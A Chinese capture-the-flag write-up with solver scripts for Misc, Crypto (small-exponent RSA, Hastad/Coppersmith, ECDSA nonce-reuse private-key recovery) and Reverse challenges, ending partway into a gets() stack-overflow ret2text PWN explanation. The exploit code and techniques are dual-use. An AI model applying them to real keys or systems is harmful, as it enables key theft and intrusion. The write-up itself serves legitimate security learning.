目 录
一、Misc
幻影
下载附件后打开里面有个data.bin,用编辑器打开后有个错误的flag和一串base

将base解密后乱码,需要用0xc1进行xor解密,最终获得flag

签到题-损坏的压缩包
下载附件后有个data.txt,里面是base64编码

解码后获得flag

迷宫
压缩包套娃,换汤不换药

base64解密获得flag

二、Crypto
BabyRSA
题目给出的出题脚本如下:
python
from Crypto.Util.number import bytes_to_long, getPrime
from secret import flag
m = bytes_to_long(flag)
e = 3
p = getPrime(512)
q = getPrime(512)
n = p * q
c = pow(m, e, n)
print(f"n = {n}")
print(f"e = {e}")
print(f"c = {c}")
输出为:
latex
n = 82849668253238742471628748493464773225584734650358346613270861343945476830972824660147967056026559437645561254887865974073453534161147417464702179609871633920783663833214859826682694891092435035427987711643347718705354192668654866018027233257016428536436431515262862144178486582934098526911431995719866556691
e = 3
c = 2217344750798178417389324269500740284645496994882397285046335003395440720615134990018962530027487447875228404854980554167814406079691896593137744060662830593002431562779113029041869917085328812205757724792256088167357650815035202082974659389854538876716299998737743361783141
这是一个非常经典的 RSA 小指数题。
已知:
e = 3n是正常的 1024 bit RSA 模数- 明文是
flag转成的整数m - 密文是
c = m^3 mod n
这类题的关键判断点是:
如果明文 m 很小,满足:
latex
m^3 < n
那么 RSA 加密里的模运算实际上不会起作用,也就是:
latex
c = m^3 mod n = m^3
此时根本不需要分解 n,只要直接对 c 开整数立方根,就能把明文恢复出来。
RSA 模数 n 是两个 512 bit 素数相乘,所以 n 大约是 1024 bit。
而 flag 一般只有几十字节。
本题最后解出来的 flag 是:
latex
flag{07f7b9e5cd7961b237aa0eed1b317aa8}
它只有 38 个字符,换成整数远小于 1024 bit。
更准确地说,若明文长度约 38 字节,那么:
latex
m < 2^(38*8) = 2^304
于是:
latex
m^3 < 2^912
而 n 约为 2^1024 量级,因此显然有:
latex
m^3 < n
所以这题本质上就是:
latex
c = m^3
直接对密文开三次方
因为:
latex
c = m^3
所以求出 m = floor(c^(1/3)),再验证是否满足:
latex
m^3 == c
如果成立,说明拿到的是精确整数根。把整数转回字节串得到 m 后,用:
python
long_to_bytes(m)
即可恢复原始 flag。
完整的EXP:
python
from Crypto.Util.number import long_to_bytes
n = 82849668253238742471628748493464773225584734650358346613270861343945476830972824660147967056026559437645561254887865974073453534161147417464702179609871633920783663833214859826682694891092435035427987711643347718705354192668654866018027233257016428536436431515262862144178486582934098526911431995719866556691
e = 3
c = 2217344750798178417389324269500740284645496994882397285046335003395440720615134990018962530027487447875228404854980554167814406079691896593137744060662830593002431562779113029041869917085328812205757724792256088167357650815035202082974659389854538876716299998737743361783141
def integer_nth_root(value, degree):
lo, hi = 0, 1
while hi**degree <= value:
hi *= 2
while lo + 1 < hi:
mid = (lo + hi) // 2
if mid**degree <= value:
lo = mid
else:
hi = mid
return lo
def main():
m = integer_nth_root(c, e)
assert pow(m, e) == c
print(long_to_bytes(m).decode())
if __name__ == "__main__":
main()
#flag{07f7b9e5cd7961b237aa0eed1b317aa8}
ScatterRSA
题目给了出题脚本和输出数据。
核心代码如下:
python
m = bytes_to_long(flag)
e = 3
for i in range(3):
p = getPrime(512)
q = getPrime(512)
n = p * q
a = random.getrandbits(128) | (1 << 127)
b = random.getrandbits(256) | (1 << 255)
c = pow(a * m + b, e, n)
也就是说我们拿到了三组:
latex
c_i = (a_i * m + b_i)^3 mod n_i
其中:
m是同一个 flag 转成的大整数e = 3- 三组
n_i两两互素 - 每组明文都不是
m,而是线性变换后的a_i*m+b_i
这题是 Hastad Broadcast Attack 的线性填充版本。
普通 Hastad 广播攻击对应的是:
latex
c_i = m^e mod n_i
当拿到至少 e 组不同模数下的同一明文密文时,可以用 CRT 合并,再直接开 e 次方恢复明文。
这题虽然不是直接加密 m,但三组明文都满足:
latex
M_i = a_i*m + b_i
它们仍然是关于同一个未知数 m 的一次多项式,因此可以归约为一元多项式小根问题。
- 构造模
N = n1*n2*n3的统一多项式
对每一组有:
latex
(a_i*m+b_i)^3 - c_i ≡ 0 (mod n_i)
利用 CRT,把这三条同余方程合成为一条模 N 的方程:
latex
f(x) ≡ 0 (mod N)
其中 x 对应真实明文整数 m。
构造方式是:
latex
T_i = (N / n_i) * (N / n_i)^(-1) mod n_i
f(x) = Σ T_i * ((a_i*x+b_i)^3 - c_i)
这样就能保证:
latex
f(m) ≡ 0 (mod N)
并且 f(x) 是一个三次多项式。
- 为什么可以用 Coppersmith
虽然 m 是未知数,但 flag 的长度远小于模数大小。
这里 n_i 是 1024 bit,三个模数乘起来的 N 约为 3072 bit。
而 flag 通常只有几十字节,本题解出来后长度是 38 字节左右,远小于 N。
因此 m 是模 N 下的一个"小根",适合使用一元 Coppersmith 方法。
对三次多项式 f(x),目标就是在已知:
latex
f(m) ≡ 0 (mod N)
且 m 足够小的条件下恢复 m。
- 格构造
做法是标准的一元 Coppersmith 小根模板。
先把多项式转成首一多项式,然后构造如下格基:
latex
x^j * N^(m-i) * f(x)^i
x^j * f(x)^m
再把 x 按上界 X 缩放,送入 LLL 约化。
约化后通常能得到一个在整数域上也以 m 为根的新多项式,从而直接求出 m。
本题里使用了一个很小的参数:
m = 2t = 2X = 2^400
就足够恢复明文。
完整EXP如下:
python
from math import prod
from Crypto.Util.number import long_to_bytes
from sympy import Matrix, Poly, invert, symbols
x = symbols("x")
e = 3
n = [
126774665513582564935779947848112944042866830930386746647049666435351291330363277973504769070717270384918856659731429138448400894026148440040972517425095971720377658415323820199696435049161025722752273999752002607726158962795131810539085538028128300999024905962969559687634444599009377284059294492202511988583,
70862262803652951029471167327459018162264552485499007239610991658396601057528590088505245176262062604357553463163385007687512357572559472046119433942494184282050872082606464568052022570822998083784884995392364509080335708545563341794801636163581722900846176728502454911983739927772601886561460593048185687203,
120071317965042617568190006371029029233790740109504540453092705398120339251246167476421080962635676358200240793383466496024477133703734110558980134689369104320947525685865376960724724004435060780565736883322619654190628091196798331871989987776206829554797194267770641969089191341756492137922472356080975008567,
]
a = [
175903979887816246876356088612877319410,
301719458450443224852278987028377807488,
333880429510144778940208404270533555799,
]
b = [
59705743144529282757272333197046269993276374069054508600756822586872082005844,
92311040911025143678098812240602640192411760692400810689123510631123371516285,
108897046763508168553507370420736166320440160223398740068920661803571394990879,
]
c = [
114262119864509431346121120970947481750551315429790662801315178080565717117872668246877796637058712718614455304105521643727499478201307907355658898017491502458960278657768212931383905075707940051389794825601073658821756701887219530473750910067523371364456978268815730993536658229011521575387453057859902444454,
8833389123931731591059528233848985447409962508343809588391731341718400251971539684636973861119858416925952486081118029147656907612129311419904772986323035935009698804269211939105961137422609248844476258675729412784528525207821156363705684919764942510002334686827157313261905756873200063349100762893947887591,
116314130437638492701509764225641858681706857317644583975932884340423123526554338050568656741244165065736316734981343048948722190543874271698275609383172252380102857876518231127121076392372468263567480815184048543494020646478816948915843457908952005629687043937593022214708473773721934316015838678510386472809,
]
def build_hastad_poly():
modulus = prod(n)
crt_terms = []
for ni in n:
partial = modulus // ni
crt_terms.append(partial * invert(partial, ni))
poly = Poly(
sum(crt_terms[i] * ((a[i] * x + b[i]) ** e - c[i]) for i in range(3)),
x,
modulus=modulus,
)
inv_lead = invert(int(poly.LC()), modulus)
coeffs = [int((coeff * inv_lead) % modulus) for coeff in poly.all_coeffs()]
poly = Poly(sum(coeffs[i] * x ** (3 - i) for i in range(4)), x)
return modulus, poly
def coppersmith_small_root(poly, modulus, bound, m=2, t=2):
degree = poly.degree()
lattice_polys = []
for i in range(m):
for j in range(degree):
lattice_polys.append((x**j) * (modulus ** (m - i)) * (poly.as_expr() ** i))
for j in range(t):
lattice_polys.append((x**j) * (poly.as_expr() ** m))
max_degree = max(Poly(item, x).degree() for item in lattice_polys)
rows = []
for item in lattice_polys:
coeff_map = Poly(item.expand(), x).as_dict()
rows.append([int(coeff_map.get((k,), 0) * (bound**k)) for k in range(max_degree + 1)])
reduced = Matrix(rows).lll()
for row_index in range(reduced.rows):
row = reduced.row(row_index)
coeffs = []
for k, coeff in enumerate(row):
q, r = divmod(int(coeff), bound**k)
if r != 0:
coeffs = []
break
coeffs.append(q)
if not coeffs:
continue
candidate_poly = Poly(sum(coeffs[k] * x**k for k in range(len(coeffs))), x)
for root in candidate_poly.ground_roots():
candidate = int(root)
if 0 <= candidate < bound:
return candidate
raise ValueError("small root not found")
def main():
modulus, poly = build_hastad_poly()
message = coppersmith_small_root(poly, modulus, bound=1 << 400)
assert all(pow(a[i] * message + b[i], e, n[i]) == c[i] for i in range(3))
print(long_to_bytes(message).decode())
if __name__ == "__main__":
main()
#flag{daae034a444159b8d3a0be007da01a5e}
ECDSA nonce 重用
题目给了一个 challenge.json,内容如下:
json
{
"public_key_x": 50375119028105999887364047539655247182204094206523319300435263028224430946911,
"public_key_y": 108951950523016877465488279015105781644805040421399966844862347172473790727509,
"message1": "57656c636f6d6520746f2074686520435446206368616c6c656e676521",
"message2": "506c65617365207265636f766572207468652073656372657420666c61672e",
"signature1_r": 1095463812248877545053124135196840207961357279965124015450651507827489886285,
"signature1_s": 45499337067230063000822030066548513123489250542537512477863236889310965015457,
"signature2_r": 1095463812248877545053124135196840207961357279965124015450651507827489886285,
"signature2_s": 114178006846186982389878195849910807776031494970560037284617045698100470656749,
"curve": "SECP256k1"
}
从字段看,这题本质上是 ECDSA 签名分析,不是真正的 OTP 异或题
最重要的一点是两组签名的 r 完全相同:
latex
signature1_r = signature2_r
在 ECDSA 中:
r由随机数k计算得到- 如果两次签名使用了同一个
k - 那么这两次签名通常就会出现相同的
r
这就是经典的 ECDSA nonce reuse 漏洞。
ECDSA 的签名公式为:
latex
r = (kG)_x mod n
s = k^(-1) * (z + r*d) mod n
其中:
n是曲线基点阶k是每次签名使用的随机数d是私钥z是消息哈希转成的整数
如果两条不同消息 m1、m2 使用了同一个 k,则有:
latex
s1 = k^(-1) * (z1 + r*d) mod n
s2 = k^(-1) * (z2 + r*d) mod n
两式相减:
latex
s1 - s2 = k^(-1) * (z1 - z2) mod n
因此可以直接恢复:
latex
k = (z1 - z2) * (s1 - s2)^(-1) mod n
再把 k 代回去求私钥:
latex
d = (s1*k - z1) * r^(-1) mod n
- 还原两条消息
题目里的 message1 和 message2 是十六进制编码,转回原文后分别是:
latex
message1 = "Welcome to the CTF challenge!"
message2 = "Please recover the secret flag."
- 计算消息哈希
ECDSA 中参与签名的是消息哈希整数 z,这里使用 SHA-256:
python
z1 = int.from_bytes(sha256(message1).digest(), "big")
z2 = int.from_bytes(sha256(message2).digest(), "big")
- 利用相同的
r恢复k
因为:
latex
r1 = r2
所以可以判定重复使用了同一个 nonce k,直接套公式:
latex
k = (z1 - z2) * (s1 - s2)^(-1) mod n
恢复结果:
latex
k = 79689430676061526764563010579056370277939527964643251614960813617209684770010
- 恢复私钥
继续代入:
latex
d = (s1*k - z1) * r^(-1) mod n
得到私钥:
latex
d = 16179638133873278060469900182361758574516863915278401640096422515549591679616
对应十六进制为:
latex
23c559c4d212862cf3cb29c2bc4bc1b1683244b523783aa4bd25d24893fdb280
- 验证私钥正确
为了确认没有算错,可以将私钥乘曲线基点 G,还原公钥:
latex
Q = d * G
验证结果与题目给出的:
public_key_xpublic_key_y
完全一致,说明恢复成功。
题目给出的格式是:
latex
flag{ecdsa_nonce_reuse_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}
后缀部分长度是 32 个十六进制字符,因此直接取私钥十六进制的前 32 位:
latex
23c559c4d212862cf3cb29c2bc4bc1b1
最终得到:
latex
flag{ecdsa_nonce_reuse_23c559c4d212862cf3cb29c2bc4bc1b1}
复现EXP:
python
import hashlib
import json
from pathlib import Path
CURVE_ORDER = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
FIELD_MODULUS = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
G = (
55066263022277343669578718895168534326250603453777594175500187360389116729240,
32670510020758816978083085130507043184471273380659243275938904335757337482424,
)
def point_add(p1, p2):
if p1 is None:
return p2
if p2 is None:
return p1
x1, y1 = p1
x2, y2 = p2
if x1 == x2 and (y1 + y2) % FIELD_MODULUS == 0:
return None
if p1 == p2:
slope = (3 * x1 * x1) * pow(2 * y1, -1, FIELD_MODULUS) % FIELD_MODULUS
else:
slope = (y2 - y1) * pow(x2 - x1, -1, FIELD_MODULUS) % FIELD_MODULUS
x3 = (slope * slope - x1 - x2) % FIELD_MODULUS
y3 = (slope * (x1 - x3) - y1) % FIELD_MODULUS
return (x3, y3)
def scalar_mul(k, point):
result = None
current = point
while k:
if k & 1:
result = point_add(result, current)
current = point_add(current, current)
k >>= 1
return result
def sha256_int(message_bytes):
return int.from_bytes(hashlib.sha256(message_bytes).digest(), "big")
def main():
challenge = json.loads(Path("challenge.json").read_text(encoding="utf-8"))
message1 = bytes.fromhex(challenge["message1"])
message2 = bytes.fromhex(challenge["message2"])
r = challenge["signature1_r"]
s1 = challenge["signature1_s"]
s2 = challenge["signature2_s"]
z1 = sha256_int(message1)
z2 = sha256_int(message2)
k = ((z1 - z2) * pow((s1 - s2) % CURVE_ORDER, -1, CURVE_ORDER)) % CURVE_ORDER
private_key = ((s1 * k - z1) * pow(r, -1, CURVE_ORDER)) % CURVE_ORDER
recovered_pub = scalar_mul(private_key, G)
expected_pub = (challenge["public_key_x"], challenge["public_key_y"])
assert recovered_pub == expected_pub
flag_suffix = f"{private_key:064x}"[:32]
print(f"message1 = {message1.decode()}")
print(f"message2 = {message2.decode()}")
print(f"k = {k}")
print(f"private_key = {private_key}")
print(f"private_key_hex = {private_key:064x}")
print(f"flag{{ecdsa_nonce_reuse_{flag_suffix}}}")
if __name__ == "__main__":
main()
#flag{ecdsa_nonce_reuse_23c559c4d212862cf3cb29c2bc4bc1b1}
三、Reverse
rerere
用ida打开附件后,找到核心函数位置0x140001480

这段代码的意思是:逐字节检查你的输入,每一位都要满足一个固定关系,否则立刻失败
a1表示输入字符串的地址
a2表示输入长度。
if ( a2 <= 0 ) return 1LL;
如果长度小于等于 0,直接返回成功。这一般只是防御性写法,真正题目里前面通常已经限制了长度。
核心判断:
c
byte_140004060[*(_BYTE *)(a1 + v2) ^ byte_140004048[v2 & 7]] == byte_140004020[v2]
这句可以翻译成:
- 取输入第 v2 个字节:inputv2
- 取一个 8 字节循环 key 的第 v2 & 7 位:keyv2 % 8
- 先异或:inputv2 ^ keyv2 % 8
- 把异或后的结果当作索引,去查一张 256 字节表:sbox...
- 查到的值必须等于目标数组第 v2 位:targetv2
所以它等价于:
c
sbox[input[i] ^ key[i % 8]] == target[i]
其中:
- byte_140004060 是 sbox
- byte_140004048 是 key
- byte_140004020 是 target
if ( ++v2 == a2 ) return 1LL;
如果这一位检查通过,就检查下一位。当所有位都检查完,就返回成功 1。
return 0LL;
只要某一位不满足,马上返回失败。这题的思路不是"猜输入",而是"反推输入"。
因为公式是:
c
sbox[input[i] ^ key[i % 8]] = target[i]
我们要倒过来解:
c
input[i] ^ key[i % 8] = inv_sbox[target[i]]
input[i] = inv_sbox[target[i]] ^ key[i % 8]
就是说下一步需要拿到byte_140004020、byte_140004048和byte_140004060的参数,并求它的逆映射,然后逐字节算出输入。
先整理出 key:byte_140004048 前 8 个字节是真正参与循环的 key
plain
B9 CD CE 30 B8 61 4E AA
然后整理出target也就是byte_140004020
plain
A3 5B 4C 0A 0E C2 33 D5 5C 90 E7 A7 14 3A 84 DA
31 B7 44 BF C6 3A F9 C5 20 12 AC C2 C6 91 35 64
A3 62 90 83 53 6C
最后拿到完整的S盒
plain
C2 23 97 49 83 F6 D3 A7 EB BF 78 C3 29 56 D2 1A
13 BC 21 6A 37 8E 5F 0C B4 46 DE E4 6C A2 66 30
0F A4 BB 8C 09 4B 3D 32 42 55 2D 4F F9 77 1B 74
1F 71 7B 9D 73 C4 AB D0 F3 C1 88 07 DC CE EF C0
72 4A 27 81 9B EE C7 28 26 5A 94 54 70 D1 E9 C8
98 36 91 41 B8 3A 79 0A 08 E5 AF 80 24 AE 00 19
CC 7A F7 51 7D 69 EC 03 65 25 1C 01 F5 E6 BD D9
59 FE 92 B0 10 6F F0 E3 9F AD 84 F4 A5 33 35 48
53 B1 E0 D8 05 38 18 68 A9 14 C6 3F 61 8A 31 3B
BA 2B 4E E2 57 9A F1 EA 64 7E A0 93 B6 DA 60 2E
1D 5B 82 34 6D FC CF 7F E7 96 67 43 06 44 C9 4C
40 DB FD 4D B5 ED 39 2C B3 17 9E CD FA 6B CA 87
8F 9C 89 0E 63 45 86 AA 5E 95 16 C5 D5 2F A1 F8
99 FF 3C 0D 3E D4 04 76 D7 47 20 8D DF 5C 7C A3
1E 8B 15 B9 A8 CB 22 A6 52 D6 FB 5D DD B2 6E E8
F2 E1 2A 58 62 12 11 50 75 B7 AC 90 0B 85 02 BE
最后在targeti去S盒里面找到对应的下标和key进行运算即可获得flag
完整的解题EXP:
python
sbox = [
0xC2,0x23,0x97,0x49,0x83,0xF6,0xD3,0xA7,0xEB,0xBF,0x78,0xC3,0x29,0x56,0xD2,0x1A,
0x13,0xBC,0x21,0x6A,0x37,0x8E,0x5F,0x0C,0xB4,0x46,0xDE,0xE4,0x6C,0xA2,0x66,0x30,
0x0F,0xA4,0xBB,0x8C,0x09,0x4B,0x3D,0x32,0x42,0x55,0x2D,0x4F,0xF9,0x77,0x1B,0x74,
0x1F,0x71,0x7B,0x9D,0x73,0xC4,0xAB,0xD0,0xF3,0xC1,0x88,0x07,0xDC,0xCE,0xEF,0xC0,
0x72,0x4A,0x27,0x81,0x9B,0xEE,0xC7,0x28,0x26,0x5A,0x94,0x54,0x70,0xD1,0xE9,0xC8,
0x98,0x36,0x91,0x41,0xB8,0x3A,0x79,0x0A,0x08,0xE5,0xAF,0x80,0x24,0xAE,0x00,0x19,
0xCC,0x7A,0xF7,0x51,0x7D,0x69,0xEC,0x03,0x65,0x25,0x1C,0x01,0xF5,0xE6,0xBD,0xD9,
0x59,0xFE,0x92,0xB0,0x10,0x6F,0xF0,0xE3,0x9F,0xAD,0x84,0xF4,0xA5,0x33,0x35,0x48,
0x53,0xB1,0xE0,0xD8,0x05,0x38,0x18,0x68,0xA9,0x14,0xC6,0x3F,0x61,0x8A,0x31,0x3B,
0xBA,0x2B,0x4E,0xE2,0x57,0x9A,0xF1,0xEA,0x64,0x7E,0xA0,0x93,0xB6,0xDA,0x60,0x2E,
0x1D,0x5B,0x82,0x34,0x6D,0xFC,0xCF,0x7F,0xE7,0x96,0x67,0x43,0x06,0x44,0xC9,0x4C,
0x40,0xDB,0xFD,0x4D,0xB5,0xED,0x39,0x2C,0xB3,0x17,0x9E,0xCD,0xFA,0x6B,0xCA,0x87,
0x8F,0x9C,0x89,0x0E,0x63,0x45,0x86,0xAA,0x5E,0x95,0x16,0xC5,0xD5,0x2F,0xA1,0xF8,
0x99,0xFF,0x3C,0x0D,0x3E,0xD4,0x04,0x76,0xD7,0x47,0x20,0x8D,0xDF,0x5C,0x7C,0xA3,
0x1E,0x8B,0x15,0xB9,0xA8,0xCB,0x22,0xA6,0x52,0xD6,0xFB,0x5D,0xDD,0xB2,0x6E,0xE8,
0xF2,0xE1,0x2A,0x58,0x62,0x12,0x11,0x50,0x75,0xB7,0xAC,0x90,0x0B,0x85,0x02,0xBE
]
key = [0xB9, 0xCD, 0xCE, 0x30, 0xB8, 0x61, 0x4E, 0xAA]
target = [
0xA3,0x5B,0x4C,0x0A,0x0E,0xC2,0x33,0xD5,0x5C,0x90,0xE7,0xA7,0x14,0x3A,0x84,0xDA,
0x31,0xB7,0x44,0xBF,0xC6,0x3A,0xF9,0xC5,0x20,0x12,0xAC,0xC2,0xC6,0x91,0x35,0x64,
0xA3,0x62,0x90,0x83,0x53,0x6C
]
inv = {v: i for i, v in enumerate(sbox)}
flag = []
for i, t in enumerate(target):
x = inv[t]
ch = x ^ key[i % 8]
flag.append(ch)
print(bytes(flag).decode())
#flag{a3fd6f7144774c924bac8402302f9548}
字节码迷踪
解压附件后发现其是一个.pyc后缀的文件,尝试用uncompyle6进行逆向

这里逆失败,提示我们代码版本为3.12.0,需要用其他方法进行逆向,直接选用pycdc

拿到密文和xor key
plain
encoded_flag = 'aWNuaHRra3lgP2ZhaCJ3eTw3In19N2oiPGY9OCJ5dmdjfnxtPzdjY3ly'
xor_key = 15
最终EXP:
python
import base64
enc = "aWNuaHRra3lgP2ZhaCJ3eTw3In19N2oiPGY9OCJ5dmdjfnxtPzdjY3ly"
key = 15
flag = ''.join(chr(b ^ key) for b in base64.b64decode(enc))
print(flag)
#flag{ddvo0ing-xv38-rr8e-3i27-vyhlqsb08llv}
ChaCha20
解压附件得到 APK:
latex
CrackMe_1_3.apk
继续查看 APK 内容:
bash
unzip -l CrackMe_1_3.apk | grep -E 'AndroidManifest|classes.dex|libmyapplication'
关键文件如下:
latex
AndroidManifest.xml
classes.dex
lib/x86/libmyapplication.so
说明这是一个 Android 逆向题,核心逻辑大概率在 native 层的 libmyapplication.so 中。
使用 JADX 打开 APK,可以看到 Java 层主要只是负责取输入,然后调用 native 校验。
可以看到类似逻辑:
plain
System.loadLibrary("myapplication");
以及 native bridge:
plain
com.cr.myapplication.NativeBridge
Java 层本身没有明文 flag,真正逻辑在 so 里。
把 so 拿出来后,先做字符串搜索:
plain
strings -a libmyapplication.so | grep -E 'RegisterNatives|Java_|0123456789abcdef|[0-9a-f]{80,}'
可以看到几个重要字符串:
plain
Java_com_cr_myapplication_MainActivity_stringFromJNI RegisterNatives 0123456789abcdef d097c3f6d229da23ab72ad35ebe681988a148d2771f1b894c4405595c7587d198378a5c2fb9d3bf80e91eb018dc396042a72ef33d01bf01bb2c32b3abb245620799d36adc57c
这里说明:
- 存在 JNI 动态注册
- 程序中存在 hex alphabet
- 程序中存在一段很长的十六进制密文
继续逆向后可以发现,程序并不是直接把 flag 写死,而是:
- 内部保存了一个目标密文
- 同时保存了 ChaCha20 的 key 和 nonce
- 对目标密文解密后,得到真实 flag
经过定位,可以直接恢复出题目里使用的参数:
key
plain
149263a16f2d89cbf0375b1ca94e78d3226017ee9abc4d0853e1762a8dc4903f
nonce
plain
44332211abcdef668899aa55
counter
plain
1
ciphertext
plain
d097c3f6d229da23ab72ad35ebe681988a148d2771f1b894c4405595c7587d198378a5c2fb9d3bf80e91eb018dc396042a72ef33d01bf01bb2c32b3abb245620799d36adc57c
程序的真实逻辑可以概括成:
plain
flag = ChaCha20_Decrypt(ciphertext, key, nonce, counter)
因为 ChaCha20 本质是流密码,所以"加密"和"解密"都是同一个 XOR 过程,只要 keystream 一样即可恢复明文。
最终exp:
python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import struct
KEY = bytes.fromhex(
"149263a16f2d89cbf0375b1ca94e78d3226017ee9abc4d0853e1762a8dc4903f"
)
NONCE = bytes.fromhex(
"44332211abcdef668899aa55"
)
COUNTER = 1
CIPHERTEXT = bytes.fromhex(
"d097c3f6d229da23ab72ad35ebe681988a148d2771f1b894"
"c4405595c7587d198378a5c2fb9d3bf80e91eb018dc39604"
"2a72ef33d01bf01bb2c32b3abb245620799d36adc57c"
)
def rotl32(x, n):
return ((x << n) & 0xffffffff) | (x >> (32 - n))
def quarter_round(s, a, b, c, d):
s[a] = (s[a] + s[b]) & 0xffffffff
s[d] ^= s[a]
s[d] = rotl32(s[d], 16)
s[c] = (s[c] + s[d]) & 0xffffffff
s[b] ^= s[c]
s[b] = rotl32(s[b], 12)
s[a] = (s[a] + s[b]) & 0xffffffff
s[d] ^= s[a]
s[d] = rotl32(s[d], 8)
s[c] = (s[c] + s[d]) & 0xffffffff
s[b] ^= s[c]
s[b] = rotl32(s[b], 7)
def chacha20_block(key, counter, nonce):
state = list(struct.unpack("<4I", b"expand 32-byte k"))
state += list(struct.unpack("<8I", key))
state += [counter & 0xffffffff]
state += list(struct.unpack("<3I", nonce))
work = state[:]
for _ in range(10):
quarter_round(work, 0, 4, 8, 12)
quarter_round(work, 1, 5, 9, 13)
quarter_round(work, 2, 6, 10, 14)
quarter_round(work, 3, 7, 11, 15)
quarter_round(work, 0, 5, 10, 15)
quarter_round(work, 1, 6, 11, 12)
quarter_round(work, 2, 7, 8, 13)
quarter_round(work, 3, 4, 9, 14)
out = [(a + b) & 0xffffffff for a, b in zip(work, state)]
return struct.pack("<16I", *out)
def chacha20_xor(data, key, nonce, counter=1):
out = bytearray()
off = 0
blk = 0
while off < len(data):
stream = chacha20_block(key, counter + blk, nonce)
chunk = data[off:off + 64]
out.extend(x ^ y for x, y in zip(chunk, stream))
off += 64
blk += 1
return bytes(out)
def main():
flag = chacha20_xor(CIPHERTEXT, KEY, NONCE, COUNTER)
print(flag.decode())
if __name__ == "__main__":
main()
#flag{b527e2621131134ec22251cfbca75e8c9f5ae4f41371871fd55911927f66a1b4}
DES加密验证
解压附件后得到:
plain
CrackMe_2_6.apk
先查看 APK 结构:
plain
unzip -l CrackMe_2_6.apk
可以注意到几个关键文件:
plain
classes.dex classes2.dex classes3.dex classes4.dex assets/my.bin assets/my2.dex assets/classes3.dex assets/myde.bin lib/x86/libcrackme2.so
这说明题目不是简单的单层 Java 校验,而是:
- 多 dex
- assets 中还藏了额外 dex/bin
- 存在 native so
这类题一般要同时看:
- Java 层入口
- 动态加载逻辑
- JNI native 校验
Java 层入口分析
通过 androguard / jadx 可以定位主入口:
plain
com.cr.crackme2.MainActivity
其核心逻辑在 onCreate() 中:
plain
protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); ... b(); }
继续看 b() 方法,可以发现它做了几件关键事情:
- 从 assets 中取出 classes3.dex
- 写入到私有目录,命名为 mydex.dex
- 通过反射拿到 ActivityThread / mPackages / mClassLoader
- 替换当前应用的 ClassLoader
- 动态加载类:
plain
com.cr.test.wide
- 调用它的 init(layoutId, editFlagId, btnVerifyId)
- 最后跳转到这个隐藏 Activity
也就是说:
- MainActivity 只是壳
- 真正的交互逻辑被藏进了 assets 里的 dex
隐藏 DEX 分析
把 assets/myde.bin 取出来看文件头,可以发现它其实是一个伪装成 .bin 的 dex:
plain
64 65 78 0A 30 33 38 00
也就是:
plain
dex\n038
把它改成 .dex 后分析,可以看到类:
plain
com.cr.test.MainActivity com.cr.test.wide com.cr.test.wide$1
其中真正有用的是:
plain
com.cr.test.wide
它的校验逻辑大致如下:
c
private void verify(View v) {
EditText et = (EditText) findViewById(R.id.editFlag);
String input = et.getText().toString();
boolean ok = verifyFlag(input);
if (ok) {
Snackbar.make(v, "恭喜,这是一个正确的flag", -1).show();
} else {
Snackbar.make(v, "flag错误", -1).show();
}
}
关键点:
plain
public static native boolean verifyFlag(String s);
说明真正的 flag 校验不在 Java,而在:
plain
lib/x86/libcrackme2.so
Native 层分析
用 strings 查看 so:
plain
strings -a libcrackme2.so | grep -E 'JNI_OnLoad|verifyFlag|12345678|[0-9a-f]{16,}'
可以看到:
plain
_Z10verifyFlagP7_JNIEnvP7_jclassP8_jstring JNI_OnLoad 12345678 666c61677b686e6374667177657235343332317d04040404
这里已经有两个特别重要的信息:
- verifyFlag 的 native 符号
- 一个明显的 8 字节 key:12345678
- 一段长 hex 串:666c61677b686e6374667177657235343332317d04040404
继续反汇编 verifyFlag 可以还原出核心逻辑:
c
bool verifyFlag(JNIEnv *env, jclass cls, jstring input) {
char *s = env->GetStringUTFChars(input, 0);
int len = strlen(s);
padded = pad_to_8_bytes(s);
enc = malloc(padded_len);
des_ecb_encrypt(padded, padded_len, "12345678", enc);
hex = bytesToHex(enc, padded_len);
return (hex == global_target_string);
}
也就是:
plain
输入字符串 -> 补齐到 8 字节边界(PKCS#7) -> 使用 DES-ECB,key = "12345678" -> 加密结果转 hex -> 与全局目标串比较
verifyFlag 并不是直接写死比较串,而是拿一个全局 std::string 来比较。
观察 .init_array,可以发现初始化函数会在 so 加载时构造这个全局字符串。
继续跟进去可以发现,构造时使用的源字符串正是:
plain
666c61677b686e6374667177657235343332317d04040404
这串内容位于 so 的 .rodata 中。
所以题目的真实思路其实是:
- 作者把"flag + padding"直接以十六进制字符串形式埋在了 so 里
- native 只是把输入加密后再与这串 hex 比较
把目标串按 hex 解码:
plain
66 6c 61 67 7b 68 6e 63 74 66 71 77 65 72 35 34 33 32 31 7d 04 04 04 04
转 ASCII:
plain
flag{hnctfqwer54321}\x04\x04\x04\x04
末尾的 04 04 04 04 是标准的 PKCS#7 padding,去掉即可得到真实 flag:
plain
flag{hnctfqwer54321}
EXP:
python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
ct_hex = "666c61677b686e6374667177657235343332317d04040404"
flag = bytes.fromhex(ct_hex)[:-4].decode()
print(flag)
#flag{hnctfqwer54321}
四、PWN
PWN-Authenticate
题目是一个非常典型的入门栈溢出题。程序表面上实现了一个简单的用户名和密码认证流程,但在读取密码时直接使用了危险函数 gets(),导致我们可以覆盖栈上的返回地址,把执行流劫持到程序自带的后门函数,从而拿到 shell。
一、保护分析
先对程序做基本检查,可以看到它的保护比较弱,适合入门利用:
- No PIE:程序基址固定,函数地址可直接使用
- No Canary:没有栈保护,不需要先泄露 canary
- 栈可执行与否对本题影响不大,因为这里走的是 ret2text
- 程序未 strip,函数名可以直接看到
这意味着本题不需要复杂的泄露流程,只要找到溢出点、确认偏移、再跳到后门即可。
二、漏洞点定位
程序的核心漏洞在密码输入处。读取用户名时通常是安全长度读入,但读取密码时使用了:
plain
gets(password);
gets() 不会检查输入长度,因此只要输入超过局部缓冲区大小,就会继续覆盖:
- 保存的 rbp
- 返回地址 RIP
这就是标准的栈缓冲区溢出。
三、后门函数分析
程序内部藏了一个后门函数,例如 backdoor,它会直接调用 shell。分析后可以确定关键地址:
- backdoor = 0x4011F6
